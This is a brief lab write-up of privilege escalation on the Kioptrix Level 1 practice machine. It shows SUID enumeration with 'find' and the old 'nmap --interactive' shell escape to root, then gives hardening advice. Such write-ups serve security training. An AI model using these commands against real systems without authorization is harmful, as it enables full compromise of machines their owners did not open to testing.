Kioptrix Level 1 - Privilege Escalation Summary

After initial access was gained via the Samba trans2open exploit, the next phase was escalating privileges to root.

Method Used: SUID Binary Exploitation via 'nmap'

Steps:

1. Enumeration of SUID binaries was performed using:

```
find / -perm -4000 -type f 2>/dev/null
```

2. The output revealed that 'nmap' was available with SUID permissions.

3. A known privilege escalation technique using interactive mode in older versions of 'nmap' was used:

```
$ nmap --interactive
> !sh
```

4. This dropped us directly into a root shell.

5. Confirmation was done by executing:

```
$ whoami
root
```

Security Issue:

Allowing SUID bit on outdated binaries like 'nmap' can lead to full system compromise.

Recommendation:

- Regularly audit SUID binaries.
- Remove unnecessary SUID permissions.
- Keep system tools updated.

Conclusion:

This privilege escalation demonstrates how simple misconfigurations or legacy tools can lead to complete root compromise.